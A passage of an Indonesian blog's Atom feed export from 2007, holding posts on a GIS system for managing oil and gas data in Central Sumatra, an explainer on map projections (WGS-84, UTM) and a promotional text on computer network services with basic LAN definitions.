ke satu, satu ke banyak atau banyak ke banyak; struktur file; struktur menu dan struktur program, semuanya ini dilakukan dengan maksud untuk memudahkan dalam tahap implementasi.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-3540913052234567990?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/3540913052234567990/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=3540913052234567990' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3540913052234567990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3540913052234567990'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/perancangan-sistem-informasi-penentuan.html' title=''/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX1wh79sHI/AAAAAAAAABA/afDRTg2XA7Q/s72-c/jabatan-gbr1.GIF' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7949160812543905517</id><published>2007-09-22T22:03:00.000-07:00</published><updated>2007-09-22T22:06:10.606-07:00</updated><title type='text'>Sistem Informasi Geografis Manajemen Data Potensi Migas</title><content type='html'>Sistem Informasi Geografis Manajemen Data Potensi Migas&lt;br /&gt;2004&lt;br /&gt;&lt;br /&gt;Minyak dan gas (MIGAS) merupakan salah satu sumberdaya alam yang tidak terbarukan (non-renewable), terperangkap dalam batuan reservoar dan terbentuk melalui proses geologi. Kegiatan usaha bidang migas sendiri merupakan investasi yang mahal dan beresiko tinggi. Untuk mengurangi resiko tersebut maka dalam kegiatan eksplorasi migas perlu dilakukan sejumlah tahapan kegiatan dengan berbagai metode dan teknologi, mulai dari yang paling dasar dan murah hingga mahal supaya dapat memilah daerah yang masih potensial dan layak dikembangkan lebih lanjut.&lt;br /&gt;&lt;br /&gt;Investasi dalam kegiatan MIGAS akan berakibat pada penambahan volume dan jenis data, maka diperlukan sistem pengelola data yang terintegrasi. Integrasi data cadangan migas yang baik akan menimbulkan efisiensi baik dari segi biaya ataupun waktu. Sistem Informasi Geografis (SIG) merupakan alat Bantu berfungsi untuk meningkatkan optimalisasi data yang berkaitan dengan spasial atau koordinat geografis baik secara manual atau otomatis dengan komputer (digital).&lt;br /&gt;&lt;br /&gt;Informasi manajemen data potensi migas berbasis SIG akan membantu pemerintah dalam pengambilan keputusan kebijakan bidang migas dan juga akan sangat membantu masyarakat dan investor bidang industri migas beserta pendukungnya dalam menentukan. Hasil SIG yang komunikatif, informatif dan atraktif akan lebih bermanfaat dan mampu sebagai dasar semua pihak mempercepat pelaksanaan tugasnya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kegiatan termaksud mengelola data untuk menghasilkan ;&lt;br /&gt;Data migas yang terintegrasi&lt;br /&gt;Manajemen data lapangan migas yang komprehensif&lt;br /&gt;Optimalisasi data tiap lapangan migas&lt;br /&gt;Efisiensi biaya dan waktu dalam perolehan informasi.&lt;br /&gt;&lt;br /&gt;Dengan hasil ini diharapkan akan dapat membantu pengambil keputusan dan pembuat kebijakan dalam mengambil keputusan-keputusan di sektor migas, juga akan memudahkan dan membantu investor dalam investasinya.&lt;br /&gt;&lt;br /&gt;Secara umum ruang lingkup dalam riset ini dilakukan pegumpulan data sekunder serta penggunaan teknologi Sistem Informasi untuk penyusunan Sistem Informasi GeografisManajemen Data Migas Sumatera Tengah. Teknologi SIG digunakan untuk menjelaskan dan memaparkan aspek-aspek yang terkait secara langsung dengan kegiatan eksplorasi dan produksi migas, identifikasi data terkait data dasar kegiatan hulu migas.&lt;br /&gt;&lt;br /&gt;Metoda yang dipakai dalam kegiatan ini menggunakan anlisis data sekunder Hasil Laporan Kegiatan Penemuan Cadangan MIGAS T.A. 2002 dan 2003. Garis besar pelaksanaan pekerjaan seperti dalam bagan alir (lihat GambarBagan alir).&lt;br /&gt;&lt;br /&gt;Berdasarkan data dan informasi yang ada dilakukan inventarisasi dan identifikasi. Pada tahap pemrosesan data (rektifikasi dan digitasi) pemasukan data spasial dan data tabular semua coverage belum diorganisasikan. Setelah semua informasi data spasial dilengkapi dengan data tabularnya, maka semua data coverage diorganisasikan secara tematik sebagai rangkaian layer serta diorganisasi secara spasial dengan lembar peta. Setiap layer tematik ini diberi koordinat UTM ( Universal Transverse Mercator). Sistem koordinat ini memberikan proyeksi lokasi yang berguna untuk memastikan hubungan yang diketahui diantara lokasi pada peta dengan lokasi sebenarnya di bumi.&lt;br /&gt;&lt;br /&gt;Proses lain dalam pengelolaan database adalah penggabungan peta yang bersebelahan, proses ini berguna untuk memperkecil volume space atau ruang yang dipakai oleh coverage dan memberikan informasi yang lebih terintegrasi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pengembangan Basis Data Spasial&lt;br /&gt;&lt;br /&gt;Guna menyusun SIG Manajemen Data Migas diperlukan suatu sistem yang dapat menyimpan dan menampilkan data hasil pemetaan berupa informasi lahan dan keterangannya. Informasi lahan sangat penting dalam rencana pengelolaan kawasan serta dapat memberikan penjelasan kepada pengguna tentang apa yang harus dilakukan terhadap lahan tersebut untuk mencapai tujuan tertentu.&lt;br /&gt;&lt;br /&gt;SIG merupakan salah satu bentuk dari teknologi informasi yang ada sekarang ini digunakan untuk optimalisasi data potensi migas Sumatera Tengah, yang diperoleh oleh banyak pihak dengan berbagai tujuan yang berbeda. Kemampuan yang dimiliki dapat dimanfaatkan untuk menyusun basis data dan mengintegrasikan data spasial dengan data atributnya, sehingga sistemnya dapat menjawab baik pertanyaan spasial maupun non spasial.&lt;br /&gt;&lt;br /&gt;Tahap strategi dan perencanaan sistem, menggunakan pendekatan soft-system development dan structured system de-velopment dengan penekanan padaidentifikasi masalah (sistem) danperencanaan sistem.&lt;br /&gt;Tahap analisis sistem, menggunakan pendekatan structured system development dengan melakukan analisis kebutuhan informasi yang akan menjadi prasyarat basis data yang akan dibangun dan analisis fungsional dari sistem yang akan dilakukan otomatisasi&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Penyimpanan Data File&lt;br /&gt;&lt;br /&gt;Pada tahapan perencanaan sistem yang dilakukan disusun data file atau struktur file berdasarkan direktori, sub direktori, dan layer/file. File direktori disusun berdasarkan pengelompokan sesuai kebutuhan antara lain untuk Manajemen Data Potensi Migas Sumatera Tengah. Direktori tersebut yaitu:, blok, lapangan migas, data bawah permukaan, dan data pendukung lain (sejarah lapangan, produksi dancadangan). Masing-masing direktori dibagimenjadi sub-direktori, yaitu : raster, dan gridding.&lt;br /&gt;&lt;br /&gt;Raster :Kelompok file dari data peta geologi dan peta regional Pulau Sumatera&lt;br /&gt;&lt;br /&gt;Gridding :Sistem grid yang digunakan(sistem grid UTM)&lt;br /&gt;&lt;br /&gt;Infrastruktur :Kelompok infrastruktur, batas blok migas.&lt;br /&gt;&lt;br /&gt;Lapangan Migas :Kelompok file minyak dan gas bumi, seperti sumur, lapangan minyak bumi gas bumi.&lt;br /&gt;&lt;br /&gt;Data bawah permukaan :Kelompok file dari kontur struktur, isopach, data log.&lt;br /&gt;&lt;br /&gt;Lain-lain :&lt;br /&gt;Kelompok file data yang tidak termasuk file tersebut di atas, ataupun menyangkut lebih dari satu direktori, seperti wilayah administrasi (kota provinsi dan kabupaten,kota sebagai pusat kegiatan migas).&lt;br /&gt;&lt;br /&gt;Pada gambar berikut ditunjukkan hasil penyusunan data file dalam bentuk hasil cetak ( print out) tampilan web.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kesimpulan&lt;br /&gt;&lt;br /&gt;Fungsi manajemen yang terkait dengan manajemen data migas, khususnya terkait dengan Penemuan Cadangan Blok CPP dan Blok Rokan Tahap I (Sumatera Tengah) dikelompokkan menjadi 7P, sebagai berikut :&lt;br /&gt;&lt;br /&gt;Perencanaan ( Planning)&lt;br /&gt;Pengorganisasian ( Organising)&lt;br /&gt;Penyimpanan ( Saving)&lt;br /&gt;Pengendalian dan Pengawasan ( Control-ling)&lt;br /&gt;Pengkomunikasian ( Communicating)&lt;br /&gt;Pemantauan ( Monitoring)&lt;br /&gt;Pengintegrasian ( Integrating)&lt;br /&gt;&lt;br /&gt;Hasil inventarisasi antara lain mengumpulkan data lapangan minyak maupun lapangan gas yang berada di daerah Blok CPP Cekungan Sumatera Tengah. Dari hasil pengumpulan data tersebut terdapat 27 lapangan minyak dan 2 lapangan gas. Sementara dari laporan Blok Rokan Tahap I diidentifikasi 50 lapangan.&lt;br /&gt;&lt;br /&gt;Dalam kaitan dengan pengusahaan lapangan dikelompokkan menjadi data per lapangan. Kelompok data dari satu lapangan (field) disatukan dalam satu lapis data (layer) sehingga memudahkan dijadikan bahan informasi. Dalam manajemen database dipilih perangkat lunak (software) MapInfo, menggunakan tampilan data dalam format HTML (Hy per Text Markup Language).&lt;br /&gt;&lt;br /&gt;File direktori disusun berdasarkan pengelompokan untuk penghitungan strategi pengembangan migas. Direktori tersebut yaitu:infrastruktur, fasilitas migas, ruang, dan lain-lain.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7949160812543905517?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7949160812543905517/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7949160812543905517' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7949160812543905517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7949160812543905517'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/sistem-informasi-geografis-manajemen.html' title='Sistem Informasi Geografis Manajemen Data Potensi Migas'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-2723513334671084972</id><published>2007-09-22T21:52:00.001-07:00</published><updated>2007-09-22T21:56:13.942-07:00</updated><title type='text'>Proyeksi Peta Dalam sistem Informasi</title><content type='html'>Proyeksi Peta&lt;br /&gt;&lt;br /&gt;Ditulis oleh La An di/pada Juni 11th, 2007&lt;br /&gt;&lt;br /&gt;Bentuk bumi yg selama ini kita liat adalah sebuah model bumi yg dibikin oleh manusia, kadang ada berbentuk bulat kadang berbentuk elips. Tp sebenarnya bukan seperti itu bentuk bumi, bentuknya adalah tidak beraturan. Dan biar lebih mudah ngegambarnya, akhirnya lebih umum menjadi bulat. Dan bentuk bulat ini di bikin datar oleh peta. Namanya juga peta, kan gambaran permukaan bumi dalam bidang datar&lt;br /&gt;&lt;br /&gt;Oleh karena permukaan bumi ini tidak rata alias melengkung-lengkung tidak beraturan, akan tetapi peta membutuhkan suatu gambaran dalam bidang datar, maka diperlukan pengkonversian dari bidang lengkung bumi sebenarnya ke bidang datar agar tidak terjadi distorsi permukaan bumi.&lt;br /&gt;&lt;br /&gt;Ini nieh ukuran bumi dalam angka&lt;br /&gt;&lt;br /&gt;Ellipticity: 0.003 352 9&lt;br /&gt;Mean radius: 6,372.797 km&lt;br /&gt;Equatorial radius: 6,378.137 km&lt;br /&gt;Polar radius: 6,356.752 km&lt;br /&gt;Aspect Ratio: 0.996 647 1&lt;br /&gt;&lt;br /&gt;radius equatornya lebih panjang dari pada radius kutub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pernah mengupas jeruk? Pasti susah bangat meletakkan kulit jeruk menjadi bidang datar, tetapi kulit jeruk tersambung semua. begitu juga yg di alami oleh kartografer ketika memetakan permukaan bumi, mereka harus memindahkan bagian geografis dengan cara tertentu, menarik dan menggabungkan kembali bagian-bagian tersebut secara bersamaan agar menjadi peta datar yang nyambung. peta tidak terkecuali globe mengalami distorsi dari bumi yang sebenarnya. Untuk wilayah yang lebih kecil, distorsi tidak signifikan karena wilayah yang kecil dalam globe kelihatan seperti permukaan datar. Untuk wilayah yang lebih luas atau untuk tujuan yang butuh akurasi yang tinggi, bagaimanapun distorsi merupakan hal yang sangat penting. Oleh karena itu diperlukan proyeksi peta. Dalam penyusunan peta diperlukan suatu proyeksi peta yg memberikan hubungan antara titik-titik di bumi dengan di peta, proyeksi yg dipilih dipersyaratkan memiliki distorsi yg kecil.&lt;br /&gt;&lt;br /&gt;Pada prinsipnya arti proyeksi peta adalah usaha mengubah bentuk bidang lengkung ke bentuk bidang datar, dengan persyaratan bentuk yang diubah itu harus tetap, luas permukaan yang diubah harus tetap dan jarak antara satu titik dengan titik yang lain di atas permukaan yang diubah harus tetap.&lt;br /&gt;&lt;br /&gt;Proyeksi peta adalah teknik-teknik yang digunakan untuk menggambarkan sebagian atau keseluruhan permukaan tiga dimensi yang secara kasaran berbentuk bola ke permukaan datar dua dimensi dengan distorsi sesedikit mungkin. Dalam proyeksi peta diupayakan sistem yang memberikan hubungan antara posisi titik-titik di muka bumi dan di peta&lt;br /&gt;&lt;br /&gt;untuk memenuhi semua ketiga persyaratan perubahan dari bidang lengkung ke bidang datar rasanya tidak mungkin bangat, maka ada kompromi2 dalam menggunakan syarat tersebut, sehingga munculah berbagai macam jenis proyeksi. Beberapa jenis proyeksi yang umum adalah silinder/tabung (cylindrical), kerucut (conical), bidang datar (zenithal) dan gubahan (arbitrarry)&lt;br /&gt;&lt;br /&gt;Jenis proyeksi yang sering kita jumpai sehari-hari adalah proyeksi gubahan, yaitu proyeksi yang diperoleh melalui perhitungan. Jenis proyeksi yang sering di gunakan di indonesia adalah WGS-84 (World Geodetic System) dan UTM (Universal Transverse Mercator)&lt;br /&gt;&lt;br /&gt;WGS-84 (World Geodetic System) adalah ellipsoid terbaik untuk keseluruhan geoid. Penyimpangan terbesar antara geoid dengan ellipsoid WGS-84 adalah 60 m di atas dan 100 m di bawah-nya. Bila ukuran sumbu panjang ellipsoid WGS-84 adalah 6 378 137 m dengan kegepengan 1/298.257, maka rasio penyimpangan terbesar ini adalah 1 / 100 000. Indonesia, seperti halnya negara lainnya, menggunakan ukuran ellipsoid ini untuk pengukuran dan pemetaan di Indonesia. WGS-84 “diatur, diimpitkan” sedemikian rupa diperoleh penyimpangan terkecil di kawasan Nusantara RI. Titik impit WGS-84 dengan geoid di Indonesia dikenal sebagai datum Padang (datum geodesi relatif) yang digunakan sebagai titik reference dalam pemetaan nasional. Sebelumnya juga dikenal datum Genuk di daerah sekitar Semarang untuk pemetaan yang dibuat Belanda. Menggunakan ER yang sama – WGS 84, sejak 1995 pemetaan nasional di Indonesia menggunakan datum geodesi absolut. DGN-95. Dalam sistem datum absolut ini, pusat ER berimpit dengan pusat masa bumi.&lt;br /&gt;&lt;br /&gt;Proyeksi UTM merupakan proyeksi Peta yang banyak di pilih dan di gunakan dalam kegiatan pemetaan di Indonesia karena di nilai memenuhi syarat2 ideal yang sesuai dengan bentuk, letak dan luas Indonesia. Spesifikasi UTM antara lain adalah (1) menggunakan bidang silender yang memotong bola bumi pada dua meridian standart yang mempunyai faktor skala k=1, (2) Lebar zone 6° dihitung dari 180° BB dengan nomor zone 1 hingga ke 180° BT dengan nomor zone 60. Tiap zone mempunyai meridian tengah sendiri, (3) setiap zone memiliki meridian tengah sendiri dengan faktor perbesaran = 0.9996, (4) Batas paralel tepi atas dan tepi bawah adalah 84° LU dan 80° LS dan (5) proyeksinya bersifat konform. Menurut Frans (iagi.net) UTM menggunakan silinder yg membungkus ellipsoid dengan kedudukan sumbu silindernya tegak lurus sumbu tegak ellipsoid (sumbu perputaran bumi), sehingga garis singgung ellipsoid dan silinder merupakan garis yg berhimpit dengan garis bujur pada ellipsoid. Akibatnya, titik2 pada garis tersebut terletak pada kedua bidang, sehingga posisinya walaupun dipindahkan (diproyeksikan), dari ellipsoid ke silinder, tidak akan mengalami perubahan (distorsi).&lt;br /&gt;&lt;br /&gt;Peta UTM Dunia&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvXxhR79sGI/AAAAAAAAAA4/Tm8lNgbHr5g/s1600-h/utmworld.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 553px; height: 333px;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvXxhR79sGI/AAAAAAAAAA4/Tm8lNgbHr5g/s320/utmworld.gif" alt="" id="BLOGGER_PHOTO_ID_5113258506001952866" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-2723513334671084972?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/2723513334671084972/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=2723513334671084972' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2723513334671084972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2723513334671084972'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/proyeksi-peta-dalam-sistem-informasi.html' title='Proyeksi Peta Dalam sistem Informasi'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/RvXxhR79sGI/AAAAAAAAAA4/Tm8lNgbHr5g/s72-c/utmworld.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-4428574907711762324</id><published>2007-09-21T01:05:00.000-07:00</published><updated>2007-09-21T01:06:53.365-07:00</updated><title type='text'>Pengolahan Data dalam Sistem Informasi</title><content type='html'>Kunci penting dalam dunia pengolahan data dan informasi masa kini adalah apa yang disebut jaringan atau networking. Betapa pentingnya sebuah terminal dalam sebuah jaringan lokal, LAN (local area network), karena di balik itu terdapat ribuan komputer lain dengan ribuan orang lain yang berada di sebuah perusahaan besar. &lt;br /&gt;&lt;br /&gt;Kita sedang menuju ke abad 21, di mana sistem jaringan mungkin tak lagi hanya akan melayani sebuah mesin besara saja. Sebaliknya jaringan-jaringan akan merupakan sarana bantu yang memungkinkan sebuah organisasi besar untuk melakukan penyesuaian yang sesuai, antara kebutuhan informasi dengan besarnya aplikasi serta investasi perangkat keras dan lunaknya. Orang menyebutnya dengan rightsizing. &lt;br /&gt;&lt;br /&gt;Divisi Solusi Jaringan Scomptec menyediakan berbagai   layanan yang berkenaan dengan jaringan, termasuk konsultasi &amp; perencanaan sistem, penginstalasian &amp; peremajaan dan pemutakhiran, dukungan administrasi, diagnosa dan pemeliharaan. &lt;br /&gt;&lt;br /&gt;Layanan jaringan Scomptec meliputi Local Area Network (LAN) serta Wide Area Network (WAN),   serta menangani sepenuhnya segenap perangkat keras, meliputi PC, komputer-komputer Mac, Unix, perangkat-perangkat keras LAN dan WAN (router, switches, dan lain sebagainya), printer, modem dan aplikasi serta sistem software (Novell, Microsoft Windows NT, Unix) yang bekerja padanya &lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Konsultasi &amp; Perencanaan Jaringan &lt;br /&gt;&lt;br /&gt;Melalui pembicaraan tentang sasaran bisnis atau melakukan pemeriksaan terhadap penerapan sistem jaringan yang saat ini digunakan, kami dapat mengetahui apa yang saat ini menjadi kebutuhan para pengguna jaringan, serta kebutuhan yang akan terjadi di masa datang. &lt;br /&gt;Sebuah desain jaringan akan menyediakan sebuah solusi teknis yang bersifat menyeluruh yang didasarkan atas sasaran-sasaran yang telah ditetapkan di saat awal konsultasi dimulai. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Penginstalasian dan Peremajaan/Pemutakhiran &lt;br /&gt;Scomptec bersedia menyelenggarakan penginstalasian jaringan dan peningkatan, peremajaan, serta pemutakhiran sistem jaringan yang sudah terpasang, meliputi pembangunan sistem jaringan yang benar-benar baru, atau melakukan peningkatan terhadap sistem jaringan yang sudah terpasang, untuk memperoleh perbaikan tingkat keberhasilan dan dayagunanya, penambahan pengguna jaringan, dan/atau melakukan penghubungan antara sumberdaya sistem informasi dengan para penggunanya, menghubungkan LAN/WAN pada sistem LAN/WAN yang berada dalam jangkauan jarak yang lebih jauh, serta kemampuan untuk menghubungkan pengguna terhadap Internet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk penginstalasian jaringan baru atau peningkatan kapasitas sebuah jaringan, Scomptec akan menangani semua aktivitas tak terkecuali, tanpa mempersoalkan apakah bisnis Anda merupakan sebuah bisnis yang sederhana atau sangat besar sekalipun. Kami akan melakukan pembicaraan dan diskusi secara mendalam dengan Anda sebagai pengguna jasa, berkenaan dengan keinginan dan harapan Anda terhadap jaringan yang akan dibangun kemudian.  &lt;br /&gt;&lt;br /&gt;Sejumlah contoh dari penambahan kemampuan efektivitas jaringan adalah dengan melakukan segmentasi LAN, melakukan peremajaan di beberapa fasilitas jaringan dengan mengganti Ethernet yang 10MB dengan Ethernet 100MB dan 1000MB (1GB) Ethernet, memasang sistem kendali dan pengarah yang berupa switching hub, menggunakan sambungan berupa fiber, serta memasang fiber sebagai tulangpunggung. &lt;br /&gt;Melakukan penambahan sumberdaya jaringan bisa meliputi penambahan server, server yang bisa diakses secara dial-in, modem, sambungan telepon, sambungan ISDN, printer jaringan dan mesin-mesin faksimili.   Semua bentuk perangkat keras, lunak atau layanan telekomunikasi dapat kami selenggarakan dan kami tawarkan kepada Anda.   Ketika melakukan penghubungan sebuah LAN/WAN dengan lokasi yang berada dalam jarak yang jauh, maka tim Scomptec akan melakukan penginstalasian dan mengkoordinasikan perangkat keras jaringan yang dikehendaki dan layanan telekomunikasi sebagai bagian dari pelanggan kami, dan untuk meyakinkan bahwa skema pengalamatan jaringan di semua lokasi memiliki konsistensi. &lt;br /&gt;Jika pelanggan kami berniat untuk melakukan hubungan melalui Internet, maka Scomptec pun akan menyediakan segenap perangkat keras jaringan, layanan telekomunikasi, serta selaku penyedia layanan Internet atau ISP (Internet service provider), mendaftarkan agar memperoleh nama domain , serta web hosting.   &lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; Layanan dan Dukungan Administratif. &lt;br /&gt;&lt;br /&gt;Scomptec menyediakan layanan administratif bagi pelanggannya.   Hal tersebut biasanya bisa terselenggara berupa pilihan atas tiga bentuk layanan yang mungkin dilakukan, di mana staf teknis Scomptec dapat diminta untuk berada dan siap di tempat pelanggan, selama jam kerja atau jam-jam lain yang dikehendaki pelanggan. &lt;br /&gt;Juga bisa dengan cara melakukan akses melalui hubungan telepon terhadap instalasi jaringan pelanggan, atau di lokasi mana pun yang dikehendaki oleh pelanggan. Atau, boleh jadi, menggunakan kombinasi dari berbagai peluang layanan tersebut di atas. &lt;br /&gt;Sejumlah pekerjaan administratif bisa meliputi upaya untuk memastikan kinerja LAN dan WAN tetap berlangsung memuaskan, menambah jumlah pengguna jaringan serta titik-titik fasilitas jaringan lainnya, melakukan penelaahan terhadap masalah yang terjadi, dan meningkatkan efektivitas jaringan sesuai keperluan.  &lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;  &lt;br /&gt; Diagnosa dan Pemeliharaan &lt;br /&gt;&lt;br /&gt;Scomptec juga menawarkan diagnosa jaringan dan layanan pemeliharaan, seperti melakukan diagnosa terhadap kinerja jaringan yang tidak memadai.   Masalah yang berkenaan dengan kinerja tersebut bisa saja terjadi karena pertumbuhan dan perkembangan yang sangat cepat di pihak user yang harus dihadapi oleh sistem jaringan yang terpasang saat ini, yang tidak sesuai lagi dengan kapasitasnya, kesalahan dan ketidakcocokan konfigurasi komponen jaringan, atau ada kemungkinan telah terjadi kerusakan pada komponen jaringan tertentu.&lt;br /&gt;Tim teknis Scomptec akan menggunakan hasil penelitian yang dilakukan selama masa diagnosa tadi untuk mengetahui secar spesifik apa yang menjadi penyebabnya, dengan menggunakan perangkat-perangkat khusus untuk jaringan. Manakala kami sudah berhasil menemukan masalahnya, maka kami segera akan menyajikan solusinya di hadapan pelanggan. &lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Menempatkan semua hal diatas &lt;br /&gt;&lt;br /&gt;terintegrasi. Hal itu dapat dimaksudkan sebagai upaya untuk " menempatkan atau membawa berbagai bagian secara bersamaan untuk membentuk sebuah kesatuan ".&lt;br /&gt;Scomptec akan melakukan pengintegrasian semua pekerjaan, mulai dari perencanaan, penggabungan, pemanfaatan segenap sumberdaya, dukungan pekerjaan administratif dan pemeliharaan prasarana jaringan, lingkungan, perangkat keras, serta aplikasi, meliputi : &lt;br /&gt;&lt;br /&gt;Teknologi (prasarana jaringan) ;&lt;br /&gt;- Protokol pengiriman data; &lt;br /&gt;   TCP/IP, IPX, SNA, Netbios, DECnet,  Appletalk&lt;br /&gt;- Network Management;&lt;br /&gt;   SNMP/SMP, RMON&lt;br /&gt;- LAN/WAN&lt;br /&gt;  Ethernet, Fast Ethernet, Gigabit Ethernet, FDDI, Token Ring,  ATM, 56Kb,&lt;br /&gt;  Asynch/Synch WAN, SLIP, PPP, ISDN, Frame Relay, Fractional&lt;br /&gt;  T1, and Vendor Specific proprietary WAN/LAN technology, etc.&lt;br /&gt;&lt;br /&gt;Hardware&lt;br /&gt;- Interworking devices:&lt;br /&gt;  Hub, Concentrator, Repeater, Bridge, Router, Gateway, etc.&lt;br /&gt;  From;&lt;br /&gt;  3Com, Cisco, BayNetworks, Cabletron, AT&amp;T,Ascend,IBM, SMC,&lt;br /&gt;  Xyplex, Digital, AMP, etc.&lt;br /&gt;&lt;br /&gt;Application/Environment/Software&lt;br /&gt;- Server-OS Network&lt;br /&gt;  Windows, Novell, Unix, Linux, etc.&lt;br /&gt;- Development tools &amp; Graphical User Interface&lt;br /&gt;  Power Builder, Power Object, Visual Basic, Delphi, Java, etc&lt;br /&gt;- Application Programming interface, Databases &amp; Midleware;&lt;br /&gt;  ODBC, RPC, SQL Server, Oracle, Corba, MySQL, netwise, etc.&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;&lt;br /&gt; Definisi sederhana ;&lt;br /&gt;Apakah jaringan itu? &lt;br /&gt;Jaringan komputer adalah sekumpulan perangkat yang dapat digunakan untuk menyimpan dan manipulasi data elektronis dan pesan-pesan, saling terkait satu dengan lainnya di mana dengan cara tersebut pengguna dapat menyimpan, menggali dan saling berbagi-pakai terhadap informasi yang tersedia.&lt;br /&gt;Pada umumnya yang dihubungkan tersebut terdiri dari komputer mikro, terminal, printer dan media penyimpan data, serta perangkat jaringan lainnya. Dengan memiliki jaringan komputer memungkinkan Anda untuk menggabungkan berbagai tingkat keahlian yang terdapat di segenap staf serta berbagai jenis kapasitas peralatan yang ada, tanpa memperhatikan soal-soal lokasi fisik di antara staf maupun peralatannya. Jaringan memungkinkan pemanfaatan secara bersama di antara para pengguna jaringan terhadap file-file data dan aplikasi, saling berkirim pesan, serta memungkinkan diterapkannya sistem pengaman terhadap instalasi seara keseluruhan. &lt;br /&gt;&lt;br /&gt;Local Area Networks (LAN) &lt;br /&gt;Sebuah jaringan komunikasi yang melayani pengguna yang berada dalam sebuah jangkauan area geografis yang terbatas. LAN dibentuk dari beberapa buah server , workstations , sistem operasi jaringan serta sebuah sambungan komunikasi . &lt;br /&gt;Server adalah mesin berkecepatan tinggi yang mampu menangani penggunaan bersama atas file data dan program yang diakses oleh banyak pengguna melalui jaringan. Workstations atau disebut client adalah di mana user bekerja melalui PC-nya, yang selain bisa dimanfaatkan untuk bekerja secara mandiri juga mampu melakukan akses terhadap sumberdaya jaringan sesuai dengan hak yang dimilikinya. &lt;br /&gt;Sebuah LAN yang kecil memungkinkan sebuah workstation untuk difungsikan sebagai server, yang memungkinkan dirinya untuk bisa melakukan akses terhadap komputer rekannya. Sistem jaringan ini disebut peer-to-peer adalah salah satu bentuk jaringan yang pada umumnya mudah untuk diinstalasi maupun dikelola, namun bagaimana pun, adanya sebuah server yang difungsikan secar khusus akan memberikan kinerja yang lebih baik, agar mampu menangani volume transaksi yang tinggi. Di sebuah jaringan yang besar bahkan menggunakan lebih dari satu server. &lt;br /&gt;Software pengendali pada sebuah LAN adalah melalui apa yang disebut sistem operasi jaringan (NetWare, UNIX, 